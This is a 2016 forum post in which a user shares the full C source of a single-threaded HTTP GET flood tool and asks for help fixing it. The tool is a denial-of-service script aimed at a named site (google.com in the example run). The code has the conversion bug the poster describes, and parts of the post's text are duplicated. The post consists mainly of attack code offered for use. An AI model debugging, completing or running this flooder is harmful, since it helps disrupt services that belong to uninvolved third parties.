May 30, 2016 05:50 PM
(This post was last modified: May 30, 2016 05:50 PM by _Valor.)
Hello, my only experience with C is from a cpp book I read about a year ago, so the code is atrocious.
I'm trying to use Unix time + the input to create a GET request flood for that amount of time.
However, the program just randomly generates times that it's hitting for, i.e.:
Here's the current code, I got it from a website that showed basic a basic GET request and I'm just turning it into a single threaded flood that doesn't use a proxy list.
Thanks in advance.
I'm trying to use Unix time + the input to create a GET request flood for that amount of time.
However, the program just randomly generates times that it's hitting for, i.e.:
Code
./sd google.com 2
Hitting google.com for -295879044 secondsHere's the current code, I got it from a website that showed basic a basic GET request and I'm just turning it into a single threaded flood that doesn't use a proxy list.
Thanks in advance.
Code
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <netinet/tcp.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
int socket_connect(char *host, in_port_t port){
struct hostent *hp;
struct sockaddr_in addr;
int on = 1, sock;
if((hp = gethostbyname(host)) == NULL){
herror("gethostbyname");
exit(1);
}
bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
if(sock == -1){
perror("setsockopt");
exit(1);
}
if(connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1){
perror("connect");
exit(1);
}
return sock;
}
#define BUFFER_SIZE 1024
void flood(unsigned char *host, int timeFoo)
{
int fd;
char buffer[BUFFER_SIZE];
int timeEnd = time(NULL) + timeFoo;
fprintf(stderr, "Hitting %s for %d seconds\n", host, timeFoo);
fd = socket_connect(host, 80);
while(timeEnd > time(NULL))
{
write(fd, "GET /\r\n", strlen("GET /\r\n")); // write(fd, char[]*, len);
bzero(buffer, BUFFER_SIZE);
}
while(read(fd, buffer, BUFFER_SIZE - 1) != 0){
fprintf(stderr, "%s", buffer);
bzero(buffer, BUFFER_SIZE);
}
shutdown(fd, SHUT_RDWR);
close(fd);
}
int main(int argc, char *argv[]){
if(argc < 3){
fprintf(stderr, "Usage: %s <hostname> <time>\n", argv[0]);
exit(1);
}
unsigned char *host = argv[1];
int timeBar = argv[2];
flood(host, timeBar);
fprintf(stderr, "Done flooding...");
return 0;
}


